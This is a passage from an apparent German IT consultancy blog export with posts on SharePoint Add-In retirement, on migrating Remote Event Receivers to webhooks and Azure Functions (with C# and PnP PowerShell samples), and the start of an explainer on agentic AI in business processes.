Framework (SPFx) Wir empfehlen als strategische Nachfolgeplattform das SharePoint Framework (SPFx), Webhooks mit Azure Functions und moderne Authentifizierungsmethoden über Microsoft Entra ID. So können Unternehmensprozesse, Datenquellen und Schnittstellen standardisiert angebunden werden und Kunden profitieren von granular steuerbaren Zugriffs- und Rollenmodellen.\nTypische Modernisierungsschritte sind beispielsweise:\nBisherige Lösung Moderne Alternative App Parts UI/Extensions/Custom Actions Notifications Klassische Dialoge Remote Event Receiver SPFx Web Parts SPFx ListView Command Sets SPFx Applications Customizers SPFx Dialoge SharePoint Webhooks Damit entstehen skalierbare Lösungen, die sich sauber in moderne Microsoft-365-Architekturen integrieren lassen.\nJetzt beraten lassen, welches Migrationsszenario von SharePoint für Ihr Unternehmen das richtige ist! Warum Unternehmen jetzt mit der Migration starten sollten Viele Unternehmen unterschätzen den Aufwand einer Migration. Neben der technischen Umsetzung ist ein klares strategisches Set-Up entscheidend, um technische Anforderungen, Skalierbarkeit, Kompatibilität und Sicherheitsaspekte zu berücksichtigen und eine zukunftsfähige Lösung zu entwickeln. Besonders bei Provider-hosted Add-Ins oder komplexen Hintergrundprozessen lohnt sich ein strukturierter Migrationsansatz.\nEin früher Start bietet entscheidende Vorteile:\nGenügend Zeit für Analyse und Priorisierung Geringeres Risiko ungeplanter Ausfälle Schrittweise Migration kritischer Systeme Bessere Kostenkontrolle Zukunftssichere Architekturentscheidungen Ein möglicher Weg zur erfolgreichen Migration Eine erfolgreiche Modernisierung beginnt nicht mit Code, sondern mit einer klaren Strategie und einem Konzept. In der Praxis hat sich ein dreistufiges Vorgehen bewährt:\nAnalyse \u0026amp; Strategie (Dauer 1-2 Wochen): Bestandsaufnahme der Add-Ins und Erweiterungspunkte Risiko- und Impact-Analyse: kritische Prozesse, Synchronizität, technische Abhängigkeiten Architektur-Optionen und Leitplanken: SPFx-Komponenten, Webhook-/Queue-Pattern Aufwandsschätzung Ergebnis: Entscheidungsvorlage zum Migrationsprojekt\nTechnisches Konzept (Dauer 4-8 Wochen): Technische Analyse der eingesetzten Add-Ins Erstellung eines Migrations-Konzepts: Migrationspfade je Erweiterungspunkt Ergebnis: Ergebnispräsentation sowie Ausarbeitung eines Zielbilds\nMigration (Dauer \u0026gt;4 Wochen): Umsetzung des vorgestellten Konzepts für die Migration zu SPFx/Webhooks Monitoring Telemetrie mit Application Insights, Logging, Alerting, Health Checks Setup Kostensteuerung Ressourcen-Governance, Kostenstellen/Tags, Budget-Alerting Ergebnis: Eine zukunftssichere Lösung, die die Funktionalitäten der bisherigen Add-ins abbildet.\nJetzt beraten lassen, welches Migrationsszenario von SharePoint für Ihr Unternehmen das richtige ist! Migration als Chance für moderne Collaboration-Plattformen Das Ende der SharePoint Add-Ins ist kein isoliertes Ereignis, sondern Teil der generellen Modernisierung des Microsoft-Ökosystems. Unternehmen, die jetzt handeln, schaffen die Grundlage für moderne digitale Arbeitsplätze und integrierte Geschäftsprozesse.\nDie Migration bietet die Chance veraltete Architekturen abzulösen, technische Schulden zu reduzieren und Sicherheitsstandards zu erhöhen. Zudem können Cloud-native Services etabliert und die Benutzererfahrung nachhaltig verbessert werden. Gerade Unternehmen mit langfristig gewachsenen SharePoint-Landschaften profitieren von einer strategischen Neuausrichtung.\nFazit Das SharePoint Add-In Retirement kommt nicht überraschend – aber der Zeitrahmen bis April 2026 wird schnell kleiner. Unternehmen sollten die verbleibende Zeit nutzen, um ihre bestehenden Lösungen zu analysieren und eine tragfähige Modernisierungsstrategie zu entwickeln. Wer frühzeitig handelt, reduziert Risiken und schafft gleichzeitig die Basis für moderne, skalierbare und zukunftssichere SharePoint-Lösungen. Dabei unterstützen wir Sie mit unseren Implementierungs-Paketen – von der Strategie über die Pilotierung bis zum Betrieb.\nWir haben bereits Erfahrungen gesammelt bei bestehenden Referenzkunden, deren Provider-Hosted Add-Ins wir migriert haben, sowohl mit der Einbindung einer Web-App (ASP.NET mit Razor Pages), als auch mit der Migration der Hintergrundlogik (Remote Event Receiver) über Azure Functions hin zu einer Webhook-Lösung.\nJetzt beraten lassen, welches Migrationsszenario von SharePoint für Ihr Unternehmen das richtige ist! Jetzt beraten lassen, welches Migrationsszenario von SharePoint für Ihr Unternehmen das richtige ist! Empfohlene nächste Projektschritte für eine gelungene SharePoint-Migration Ein professioneller Migrationsansatz umfasst:\nTechnische und prozessuale Bestandsaufnahme:\nAnalyse der bestehenden SharePoint-Anwendungen Sicherheitsbewertung und Risikoanalyse Customizing-Review Strategieentscheidung:\nIntegrationsszenarien (z.B. mit CRM-Systemen) On-Premises (SE), Cloud oder Hybrid? Governance-Modell Architektur- und Zielbild-Definition:\nInformationsarchitektur Berechtigungskonzept Integrationsstrategie und Roadmap Budgetplanung Technische Migration:\nContent-Migration Refactoring von Lösungen Testing und Qualitätssicherung Changemanagement:\nSchulung der Anwender/User Adoption Kommunikationsstrategie (möglichst früh Mitarbeiter einbeziehen!) Adoption-Maßnahmen SharePoint End of Life 2026 als strategische Chance nutzen Ein gut geplantes Migrationsprojekt bietet die Chance, Dokumentenprozesse, Workflows, Kollaborationen etc. neu zu strukturieren, Medienbrüche zu eliminieren und Wissensdatenbanken zu modernisieren. Zudem können automatisierte Freigabeprozesse für Dokumente oder das Vertragsmanagement neu aufgesetzt werden, was mehr Transparenz für kundenbezogene Workflows und moderne Sicherheitsstandards ermöglicht.\nDie SharePoint-Migration kann auch dann sinnvoll sein, wenn bereits andere Tools und Anwendungen in der Cloud laufen, um somit die Integration mit diesen Cloud-Anwendungen zu vereinfachen oder überhaupt zu ermöglichen.\nDas Support-Ende ist somit nicht nur eine technische Notwendigkeit, sondern betrifft die zentrale Wertschöpfungsprozesse rund um Vertrieb, Service und Kundenmanagement. Gerade im Zusammenspiel mit Customer Operations und CRM-Strategien kann eine moderne SharePoint-Architektur nachhaltige Wettbewerbsvorteile schaffen. Richtig angegangen, wird damit aus einem End-of-Life-Projekt ein Modernisierungsprogramm für Ihre Customer Operations. Wer jetzt strategisch handelt, reduziert nicht nur Risiken – sondern schafft die Basis für moderne, integrierte und skalierbare Customer Operations.\nWie Objektkultur bei Ihrer Migration unterstützen kann Als IT-Dienstleister und Spezialist für CRM, Customer Operations und moderne Microsoft-Architekturen begleitet Objektkultur Software GmbH Unternehmen nicht nur bei der technischen Migration, sondern bei der strategischen Weiterentwicklung Ihrer Plattform:\nUnser Anspruch: Nicht nur migrieren, sondern Mehrwert schaffen und Customer Operations zukunftsfähig gestalten.\nSprechen Sie uns an – Wir analysieren Ihre SharePoint-Umgebung und entwickeln gemeinsam eine zukunftssichere Migrationsstrategie. ","date":"18. September 2025","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/sharePoint-add-in-retirement_hua7c06e2946cc6d651e03a5c5cd98b146_4247060_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/sharePoint-add-in-retirement_hua7c06e2946cc6d651e03a5c5cd98b146_4247060_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/sharepoint-add-in-retirement-2026-so-kann-eine-migration-aussehen/","tags":["microsoft-365"],"title":"Sharepoint Add-In Retirement 2026 - So kann eine Migration aussehen"},{"categories":["How to"],"contents":"Inhalte 1. Warum der Wechsel von RERs unumgänglich ist 2. Der moderne Weg: SharePoint Webhooks \u0026 Azure Functions 3. Warum Azure Functions statt Logic Apps für die RER-Migration? 4. Architektur \u0026 Implementierung einer Webhook-Lösung 5. Implementierung der Azure Function 6. Funktionsweise im Detail 7. Fazit: Jetzt handeln! Die Microsoft 365-Plattform entwickelt sich kontinuierlich weiter, und mit ihr die Best Practices für SharePoint Online-Erweiterungen. Eine kritische Änderung steht bevor: Microsoft stellt das SharePoint Add-In-Modell ein, was direkte Auswirkungen auf Remote Event Receiver (RERs) hat. Die Unterstützung für Add-Ins, die Azure Access Control Service (ACS)-Authentifizierung verwenden endet am 2. April 2026. Add-Ins ohne ACS werden nach dem 1. Juli 2027 nicht weiter funktionsfähig sein.\nWenn Ihre Organisation noch RERs einsetzt, ist jetzt der richtige Zeitpunkt für eine Migrationsstrategie. Die moderne Alternative: SharePoint Webhooks in Kombination mit Azure Functions.\nUnsere erfahrenen Expertinnen und Experten unterstützen Sie gerne bei der Migration.\n1. Warum der Wechsel von RERs unumgänglich ist Remote Event Receiver waren lange der Standard, um auf SharePoint-Ereignisse zu reagieren und externe Logik auszuführen. Dieses Modell hat jedoch entscheidende Nachteile:\nEnd-of-Life: Microsoft stellt das Add-In-Modell und ACS ein – der wichtigste Grund für eine Migration. Technologische Altlast: Das Modell entspricht nicht mehr modernen Cloud-Architekturen. Performance-Probleme: Besonders synchrone Events (wie ItemAdding) blockieren die Benutzeroberfläche bis zur Antwort des RERs, was zu Verzögerungen führt. Komplexe Infrastruktur: Bereitstellung, Authentifizierung und Wartung von Provider-Hosted Add-Ins sind aufwändig und fehleranfällig. 2. Der moderne Weg: SharePoint Webhooks \u0026amp; Azure Functions SharePoint Webhooks bieten einen effizienten, ereignisgesteuerten Ansatz. Bei Änderungen in Listen oder Bibliotheken sendet SharePoint eine asynchrone Benachrichtigung an Ihren registrierten Endpunkt.\nDie Verarbeitung dieser Benachrichtigungen übernehmen idealerweise Azure Functions. Diese Kombination bietet zahlreiche Vorteile:\nVollständig asynchron: Die Verarbeitung erfolgt entkoppelt von SharePoint, was Performance und Benutzererfahrung verbessert. Serverless \u0026amp; automatisch skalierend: Azure Functions passen sich dynamisch dem Bedarf an – ohne Server-Management. Sprachflexibilität: Entwickeln Sie in C#, PowerShell, Python, Node.js oder anderen unterstützten Sprachen. Pay-as-you-go: Zahlen Sie nur für tatsächliche Ausführungszeit statt für dedizierte Server. Nahtlose Azure-Integration: Einfache Anbindung an Queue Storage, Application Insights, Key Vault und andere Azure-Dienste. 3. Warum Azure Functions statt Logic Apps für die RER-Migration? Obwohl Logic Apps ebenfalls eine leistungsstarke serverlose Option darstellen, bieten Azure Functions für die Migration von RERs entscheidende Vorteile:\nCode-Wiederverwendung: Der größte Vorteil – bestehende C#-Geschäftslogik aus RERs kann oft mit minimalen Anpassungen in Azure Functions übernommen werden.\nEntwicklerfreundlichkeit: Azure Functions bieten einen \u0026ldquo;Code-First\u0026rdquo;-Ansatz mit voller Kontrolle über die Implementierung. Sie können komplexe Logik abbilden und spezialisierte Bibliotheken wie CSOM oder das PnP Core SDK direkt einbinden.\nKosteneffizienz: Für code-intensive Aufgaben sind Azure Functions im Consumption Plan häufig günstiger als Logic Apps, die pro Aktion/Konnektor abrechnen.\nFazit: Logic Apps eignen sich hervorragend für visuelle Workflow-Orchestrierung mit Standard-Konnektoren. Für die Migration bestehender RER-Logik bieten Azure Functions durch Code-Wiederverwendung und Flexibilität meist den effizienteren Weg.\n4. Architektur \u0026amp; Implementierung einer Webhook-Lösung Eine erfolgreiche Migration zu Webhooks erfordert die Beachtung einiger Schlüsselprinzipien:\nSchnelle Antwortzeiten: SharePoint erwartet eine Bestätigung innerhalb von 5 Sekunden vom Webhook-Endpunkt. Regelmäßige Erneuerung: Webhook-Registrierungen laufen nach maximal 6 Monaten ab und müssen verlängert werden. Minimale Benachrichtigungen: Die Webhook-Benachrichtigung enthält nur grundlegende Informationen – die eigentlichen Änderungen müssen aktiv abgerufen werden. Benötigte Azure-Ressourcen Azure Function App: Hostet den Code für die Trigger. Empfehlenswert ist der Consumption Plan (für automatische Skalierung und niedrige Kosten bei geringer Last) oder ein App Service Plan (für vorhersehbare Kosten und VNet-Integration). Azure Storage Account: Dient der asynchronen Verarbeitung via Queue Storage und speichert das letzte ChangeToken pro SharePoint-Liste/Webhook-Subscription. Application Insights: Ermöglicht umfassendes Monitoring, Logging und Fehlerdiagnose – unverzichtbar bei verteilten Systemen. Azure Key Vault: Sichert Geheimnisse und Zertifikate für die Authentifizierung. Authentifizierung einrichten Für die Authentifizierung der Azure Function gegenüber SharePoint wird ein Zertifikat benötigt:\nGenerieren Sie ein Zertifikat mit dem PnP PowerShell-Cmdlet New-PnPAzureCertificate Laden Sie das Zertifikat in Ihre App-Registrierung hoch Konfigurieren Sie API-Berechtigungen (empfohlen: Sites.Selected und User.Read.All) Erteilen Sie der App spezifische SharePoint-Berechtigungen (mindestens \u0026ldquo;Manage\u0026rdquo;-Level) Dies kann per PnP PowerShell erfolgen:\nGrant-PnPAzureADAppSitePermission -AppId \u0026lt;Guid\u0026gt; -DisplayName \u0026lt;String\u0026gt; -Permissions Manage Oder über die Microsoft Graph API: POST https://graph.microsoft.com/v1.0/sites/\u0026lt;SharePointTenantName\u0026gt;:/\u0026lt;Pfad\u0026gt;:/permission { \u0026#34;roles\u0026#34;: [ \u0026#34;manage\u0026#34; ], \u0026#34;grantedToIdentities\u0026#34;: [ { \u0026#34;application\u0026#34;: { \u0026#34;id\u0026#34;: \u0026#34;\u0026lt;AppId\u0026gt;\u0026#34;, \u0026#34;displayName\u0026#34;: \u0026#34;\u0026lt;Name\u0026gt;\u0026#34; } } ] } 5. Implementierung der Azure Function Die Lösung basiert auf drei Hauptkomponenten:\nTime Trigger: Verantwortlich für die Registrierung und Verlängerung der Webhooks\n// Beispielhafter C# Code für den Time Trigger var list = await pnpContext.Web.Lists.GetByTitleAsync(title); await list.LoadAsync(l =\u0026gt; l.Webhooks); var clientState = _registrationHelper.GetClientState(); var expires = DateTime.UtcNow.AddDays(10); var webhook = await list.Webhooks.FirstOrDefaultAsync(h =\u0026gt; h.NotificationUrl == url \u0026amp;\u0026amp; h.ClientState == clientState); if (webhook != null) { webhook.ExpirationDateTime = expires; await webhook.UpdateAsync(); } else { await list.Webhooks.AddAsync(url, expires, clientState); } HTTP Trigger: Empfängt Benachrichtigungen von SharePoint und leitet sie an die Queue weiter\n// Beispielhafter C# Code für den HTTP Trigger [Function(\u0026#34;ProcessEvent\u0026#34;)] public async Task\u0026lt;HttpResponseData\u0026gt; Run([HttpTrigger(AuthorizationLevel.Anonymous, \u0026#34;get\u0026#34;, \u0026#34;post\u0026#34;)] HttpRequestData req, string validationToken) { // Prepare the response object HttpResponseData? response = null; if (!string.IsNullOrEmpty(validationToken)) { // If we\u0026#39;ve got a validationtoken querystring argument // We simply reply back with 200 (OK) and the echo of the validationtoken response = req.CreateResponse(HttpStatusCode.OK); response.Headers.Add(\u0026#34;Content-Type\u0026#34;, \u0026#34;text/plain; charset=utf-8\u0026#34;); await response.WriteStringAsync(validationToken); return response; } // Deserialize the request body using var sr = new StreamReader(req.Body); var jsonRequest = await sr.ReadToEndAsync(); var notifications = JsonSerializer.Deserialize\u0026lt;WebhookNotification\u0026gt;(jsonRequest, _jsonSerializerOptions); if (notifications != null) { var clientState = _registrationHelper.GetClientState(); // Then process every single event in the notification body foreach (var notification in notifications.Value.DistinctBy(n =\u0026gt; n.Resource)) { // check expected client state to verify that SPO is the caller if (notification.ClientState != clientState) { return req.CreateResponse(HttpStatusCode.Forbidden); } var queue = queueServiceClient.GetQueueClient(\u0026#34;spo-webhooks\u0026#34;); await queue.CreateIfNotExistsAsync(); var message = JsonSerializer.Serialize(notification); await queue.SendMessageAsync( Convert.ToBase64String( System.Text.Encoding.UTF8.GetBytes(message))); } } // We need to return an OK response within 5 seconds response = req.CreateResponse(HttpStatusCode.OK); return response; } Queue Trigger: Verarbeitet die Benachrichtigungen asynchron und ruft die tatsächlichen Änderungen ab\n[Function(\u0026#34;QueueProcessEvent\u0026#34;)] public async Task Run([QueueTrigger(\u0026#34;spo-webhooks\u0026#34;)] string queueMessage) { if (!string.IsNullOrEmpty(queueMessage)) { // queueMessage is already decoded by the QueueTrigger (Base-64) var notification = JsonSerializer.Deserialize\u0026lt;WebhookNotificationEvent\u0026gt;(queueMessage, _jsonSerializerOptions); if (notification != null) { //Create PnP Context here // Define a query for the last 100 changes happened, if the type is either add or update. var changeQuery = new ChangeQueryOptions(false, true) { FetchLimit = 100, Item = true, Add = true, Update = true }; // Provide the ChangeToken var lastChangeToken = await GetLatestChangeTokenAsync(notification.Resource); if (lastChangeToken != null) { changeQuery.ChangeTokenStart = new ChangeTokenOptions(lastChangeToken); } else { // Generate a default Change Token var ticks = DateTime.UtcNow.AddHours(-2).ToUniversalTime().Ticks.ToString(); changeQuery.ChangeTokenStart = new ChangeTokenOptions(string.Format(\u0026#34;1;3;{0};{1};-1\u0026#34;, notification.Resource, ticks)); } // Use GetChanges against the list with ID notification.Resource, which is the target list var targetList = await pnpContext.Web.Lists.GetByIdAsync(Guid.Parse(notification.Resource)); var changes = await targetList.GetChangesAsync(changeQuery); // prepare changes for processing, remove duplicates List\u0026lt;IChangeItem\u0026gt; changeItems = changes .Where(c =\u0026gt; c is IChangeItem \u0026amp;\u0026amp; c.IsPropertyAvailable\u0026lt;IChangeItem\u0026gt;(i =\u0026gt; i.ItemId)) .Cast\u0026lt;IChangeItem\u0026gt;() .OrderBy(c =\u0026gt; c.Time) .DistinctBy(c =\u0026gt; c.ItemId) .ToList(); // Save the latest change token await SaveLatestChangeTokenAsync(changes[changes.Count - 1].ChangeToken); foreach (var changeItem in changeItems) { try { var targetItem = await targetList.Items.GetByIdAsync(changeItem.ItemId); if (targetItem != null) { // Process the change await service.ProcessItemAsync(changeItem, targetItem); } } catch (Exception ex) { // log error } } } } } 6. Funktionsweise im Detail Die Webhook-Architektur folgt einem durchdachten Ablauf, der die Zuverlässigkeit und Skalierbarkeit der Lösung sicherstellt:\nWebhook-Registrierung und -Erneuerung:\nDer Time Trigger läuft in regelmäßigen Intervallen und prüft alle konfigurierten SharePoint-Listen. Für jede Liste wird geprüft, ob bereits ein Webhook registriert ist. Falls ja, wird das Ablaufdatum verlängert. Falls kein Webhook existiert, wird ein neuer registriert. Diese automatische Verlängerung ist entscheidend, da SharePoint-Webhooks nach maximal 6 Monaten ablaufen und dann keine Benachrichtigungen mehr senden. Benachrichtigungsempfang und -validierung:\nBei Änderungen in einer überwachten Liste sendet SharePoint eine HTTP-POST-Anfrage an den HTTP-Trigger. Der HTTP-Trigger prüft zunächst, ob es sich um eine Validierungsanfrage handelt (Parameter validationToken). In diesem Fall wird der Token einfach zurückgesendet, um die Webhook-Registrierung abzuschließen. Bei einer echten Benachrichtigung wird der ClientState überprüft, um sicherzustellen, dass die Anfrage tatsächlich von SharePoint stammt und nicht von einem unbefugten Dritten. Die Benachrichtigung enthält nur minimale Informationen: die ID der Liste, in der eine Änderung stattgefunden hat, aber keine Details zur Änderung selbst. Da SharePoint eine Antwort innerhalb von 5 Sekunden erwartet, wird die eigentliche Verarbeitung asynchron durchgeführt: Die Benachrichtigung wird in eine Azure Storage Queue geschrieben und sofort mit 200 OK bestätigt. Asynchrone Verarbeitung und Änderungsabfrage:\nDer Queue Trigger wird automatisch aktiviert, sobald eine neue Nachricht in der Queue erscheint. Für die Abfrage der tatsächlichen Änderungen wird das SharePoint-ChangeToken-Konzept verwendet: Das ChangeToken markiert einen Zeitpunkt in der Änderungshistorie einer Liste. Für jede Liste wird das zuletzt verarbeitete ChangeToken in Azure Storage gespeichert. Mit dem SharePoint-Endpunkt GetChanges werden alle Änderungen seit diesem Token abgerufen. Für jedes geänderte Element wird die eigentliche Geschäftslogik ausgeführt, die je nach Anwendungsfall variiert. Nach erfolgreicher Verarbeitung wird das neueste ChangeToken gespeichert, um beim nächsten Aufruf den richtigen Startpunkt zu haben. Fehlerbehandlung und Robustheit:\nDie Queue-basierte Architektur bietet automatische Wiederholungsversuche bei temporären Fehlern. Durch die Trennung von Benachrichtigungsempfang (HTTP-Trigger) und Verarbeitung (Queue-Trigger) wird sichergestellt, dass keine Benachrichtigungen verloren gehen, selbst wenn die Verarbeitung zeitweise fehlschlägt. Die Verwendung von Application Insights ermöglicht umfassendes Monitoring und Alerting bei Problemen. Diese Architektur bietet entscheidende Vorteile gegenüber dem alten RER-Modell: Sie ist vollständig asynchron, skaliert automatisch mit der Last und bietet eine robuste Fehlerbehandlung. Die klare Trennung der Verantwortlichkeiten zwischen den verschiedenen Triggern macht die Lösung wartbar und erweiterbar.\n7. Fazit: Jetzt handeln! Die Abkündigung von SharePoint Add-Ins und RERs ist beschlossene Sache. Die Migration zu Webhooks und Azure Functions ist nicht nur notwendig, sondern bietet auch erhebliche Vorteile:\nBessere Performance durch asynchrone Verarbeitung Höhere Skalierbarkeit durch serverlose Architektur Geringere Kosten durch verbrauchsbasierte Abrechnung Einfachere Wartung durch moderne Entwicklungsmodelle Besonders wertvoll: Die Möglichkeit, bestehende RER-Logik in Azure Functions wiederzuverwenden, kann den Migrationsaufwand deutlich reduzieren.\nStarten Sie jetzt mit der Analyse Ihrer RERs und planen Sie den Umstieg – die Deadline 2026 rückt näher!\n","date":"14. August 2025","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/sharepoint-transform-from-rer_hudbc16508d770fe9f5b7885d48cfe360c_3149040_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/sharepoint-transform-from-rer_hudbc16508d770fe9f5b7885d48cfe360c_3149040_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/sharepoint-remote-event-receiver-deprecation-ihr-guide-zur-migration-auf-webhooks-azure-functions/","tags":["microsoft-365","azure"],"title":"SharePoint Remote Event Receiver Deprecation - Ihr Guide zur Migration auf Webhooks \u0026 Azure Functions"},{"categories":["Quick-Tipps","Insights"],"contents":"Künstliche Intelligenz hat in den letzten Jahren enorme Fortschritte gemacht – insbesondere durch große Sprachmodelle wie ChatGPT. Doch eine neue Dimension der Automatisierung und Intelligenz hat eine neue Ära eingeläutet: Agentic AI. Diese Art von KI geht über das reine Verstehen und Generieren von Sprache oder Bildern hinaus. Sie handelt, arbeitet nach Vorgaben, fragt nach, integriert Systeme und kann sogar Aufgaben in Echtzeit anstoßen und diese in anderen Systemen initiieren. Viele Unternehmen sehen darin enormes Potenzial, gerade wenn es darum geht, Routineprozesse zu automatisieren. Überall dort, wo wiederkehrende Aufgaben Zeit fressen, kann Agentic AI unterstützen, z. B. im Kundenservice, bei der Auftragsverwaltung, im Bewerbungsprozess, und in vielen weiteren Bereichen und Abteilungen. Und mit Anwendungen wie Copilot Studio, ein Teil der Microsoft Power Platform, lässt sich diese neue Form der KI einfach und skalierbar in bestehende Systeme integrieren. Wie Agentic AI funktioniert und welche Vorteile es bietet, erkläre ich in diesem Beitrag.\nInhalte 1. Definition von Agentic AI 2. Generative AI vs. Agentic AI – wo liegt der Unterschied? 3. Wie funktioniert Agentic AI? 4. Was sind die Vorteile von Agentic AI? 5. Was sind die Risiken von Agentic AI? 6. Beispiele – wo kann Agentic AI Unternehmen unterstützen? 7. Fazit 1. Definition von Agentic AI Agentic AI ist ein Konzept, bei dem KI-gestützte Systeme nicht nur Informationen bereitstellen, sondern aktiv Aufgaben ausführen. Die KI agiert dabei als \u0026ldquo;Agent\u0026rdquo;, also als eine digitale Instanz, die Informationen interpretiert, mit externen Systemen kommuniziert, Aktionen initiiert und in der Lage ist, im vorgegebenen Rahmen Entscheidungen auf Basis von Kontext, Daten und Regeln zu treffen. Im Gegensatz zu herkömmlichen Automatisierungslösungen handelt es sich um eine KI, die in der Lage ist, innerhalb eines festgelegten Rahmens dynamisch auf Veränderungen zu reagieren. Auf Basis von Bedingungen und Logiken, die im Voraus definiert wurden, kann sie gezielt Konnektoren, Datenquellen oder Prozesse aufrufen und selbstständig Aktionen initiieren. Dabei ist sie nicht autonom im Sinne von völlig unabhängig, sondern agiert innerhalb klarer Grenzen, die von Menschen gesetzt und gesteuert werden. Während traditionelle Automatisierung statische Workflows verfolgt, nutzt Agentic AI fortschrittliche Algorithmen, maschinelles Lernen und natürliche Sprachverarbeitung, um Aufgaben flexibel und effizient zu erledigen und kann dadurch optimiert werden.\n2. Generative AI vs. Agentic AI – wo liegt der Unterschied? Agentic AI basiert auf Genarative AI. Ein wichtiger Unterschied zur generativen KI liegt im Zweck und im Handlungsspielraum: Während generative KI (z. B. ChatGPT) hauptsächlich darauf ausgelegt ist, basierend auf einem Prompt Texte, Bilder oder andere Inhalte zu erzeugen, die möglichst menschlich und kreativ wirken, ist Agentic AI handlungsorientiert: Sie führt Aufgaben aus, stößt Prozesse an und interagiert direkt mit Systemen beispielsweise durch das Erstellen von Aufgaben in einem (CRM-)System, das Versenden von E-Mails oder das Abfragen von Daten über APIs. Generative KI bleibt in der Regel auf die Inhaltsebene beschränkt. Agentic AI hingegen kann auf Grundlage dieser Inhalte konkrete Aktionen ausführen, sofern diese innerhalb definierter Regeln stattfinden.\n3. Wie funktioniert Agentic AI? Im Gegensatz zu klassischen KI-Systemen basiert Agentic AI nicht nur auf statischer Datenverarbeitung. Vielmehr ist sie in der Lage, Konnektoren zum Beispiel zu Microsoft Dynamics 365, SAP oder E-Mail-Systemen aufzurufen, Informationen zu extrahieren und Aktionen auszulösen. Sie versteht unstrukturierte Informationen wie E-Mails, Chat-Nachrichten oder Spracheingaben, extrahiert daraus relevante Parameter und nutzt diese, um Prozesse automatisiert in Gang zu setzen.\nBeispiel: Ein Kunde schreibt eine E-Mail an den Kundenservice eines Energieversorgers mit dem Anliegen: „Ich möchte meinen Stromzählerstand melden.“ Agentic AI kann aus dieser unstrukturierten Nachricht automatisch erkennen, dass es sich um eine Zählerstandsmeldung handelt, ermittelt den Kundennamen anhand der E-Mail-Adresse, analysiert den Inhalt auf relevante Informationen (z. B. Zählernummer oder Verbrauch) und prüft, ob noch Angaben fehlen. Falls notwendig, stellt die KI automatisch Rückfragen per E-Mail wie: „Bitte teilen Sie mir mit, ob es sich um Ihren Strom-, Gas- oder Wasserzähler handelt.“ Sobald alle notwendigen Angaben vorliegen, stößt sie einen automatisierten Prozess an, zum Beispiel über Power Automate und einer direkten API-Integration, der die Daten im Backend-System abspeichert und ggf. weitere Prozessschritte ausführt. Wichtig zu betonen ist, dass die KI dabei keine eigenen Entscheidungen trifft, wie häufig fälschlicherweise behauptet wird – vielmehr folgt sie vordefinierten Regeln, wann ein Flow gestartet wird, welche Parameter erforderlich sind und welche Rückfragen ggf. gestellt werden müssen.\n4. Was sind die Vorteile von Agentic AI? Agentic AI bietet Unternehmen zahlreiche Vorteile. Unter anderem ermöglicht sie eine deutlich effizientere Automatisierung von Aufgaben, da sie flexibel auf unterschiedliche Inputs reagieren und fehlende Informationen selbstständig anhand von Konnektoren oder mittels vordefinierter Prozesse ausfindig machen kann. So kann sie im Bereich Kundenservice beispielsweise auf Kundenanfragen mit Nachfragen reagieren und notwendige Informationen selbstständig erfragen und einholen. Dadurch wird die Bearbeitungszeit für Kundenanfragen oder interne Prozesse erheblich verkürzt.\nGrundsätzlich kann Agentic AI in vielen Prozessen eigensetzt werden, was zu einer erheblichen Effizienzsteigerung und Kostensenkung beitragen kann: Routineaufgaben werden schneller und fehlerfreier erledigt, was Mitarbeitende entlastet und Ressourcen spart. Gerade bei wiederkehrenden Aufgaben wie Dateneingabe, Terminvereinbarung oder Ticketbearbeitung kann die Fehlerquote drastisch gesenkt und die Bearbeitungdauer verkürzt werden.\nGleichzeitig steigert Agentic AI die Skalierbarkeit von Services, da sie große Mengen an Anfragen parallel bearbeiten kann auch z. B. in den hoch frequentierten Zeiten mit vielen Anrufen oder Anfragen. Die Integration in bestehende Plattformen wie die Microsoft Power Platform erleichtert zudem die Einführung, da keine tiefen Programmierkenntnisse erforderlich sind. Unternehmen können somit schneller innovative Lösungen entwickeln und sich Wettbewerbsvorteile sichern.\nNicht zuletzt verbessert Agentic AI die Verfügbarkeit von Dienstleistungen: Ein KI-gestütztes Support-System kann 24/7 auf Anfragen reagieren und einfache Probleme lösen, bevor ein Mensch eingreifen muss. Das entlastet nicht nur die Mitarbeitenden, sondern verbessert auch die Kundenzufriedenheit. Gerade in global agierenden Unternehmen, die Kundinnen und Kunden in verschiedenen Zeitzonen betreuen, ermöglicht das eine schnellere Reaktionszeit und kürzere Bearbeitungszyklen.\n5. Was sind die Risiken von Agentic AI? Trotz der vielen Chancen sind auch bei Agentic AI – wie bei jeder anderen KI-Technologie – gewisse Risiken nicht auszuschließen. Ein zentrales Risiko liegt im hohen Anspruch an die Datenqualität. Agentic AI ist auf aktuelle, präzise und strukturierte Daten angewiesen, um weitere Prozesse korrekt und fehlerfrei anzustoßen.\nGrundsätzlich basiert jede KI auf Wahrscheinlichkeiten und kann dementsprechend Fehler machen etwa, wenn Inhalte und Daten falsch interpretiert oder Prozesse auf Basis falscher Annahmen gestartet werden. Besonders kritisch wird es, wenn Aktionen ohne ausreichende Kontrolle erfolgen, etwa bei finanziellen Transaktionen oder rechtlich relevanten Vorgängen. Daher ist es unerlässlich, insbesondere in regulierten Branchen wie dem Finanz- oder Gesundheitswesen Sicherheitsmechanismen wie Eskalationsschleifen, Rückfragen und menschliche Freigaben einzuplanen. Es muss sichergestellt werden, dass die KI nicht intransparent agiert, sondern dass alle Aktionen der KI im Voraus klar definiert sind und die Grenzen ihres Handlungsspielraums eindeutig festgelegt werden. Verbindliche Governance-Regeln sind essenziell, um den Einsatz, die Verantwortlichkeiten und die Kontrollmechanismen für die KI-Systeme klar zu regeln. Außerdem müssen Datenschutz und Zugriffskontrollen konsequent berücksichtigt werden, um sensible Unternehmens- und Kundendaten zu 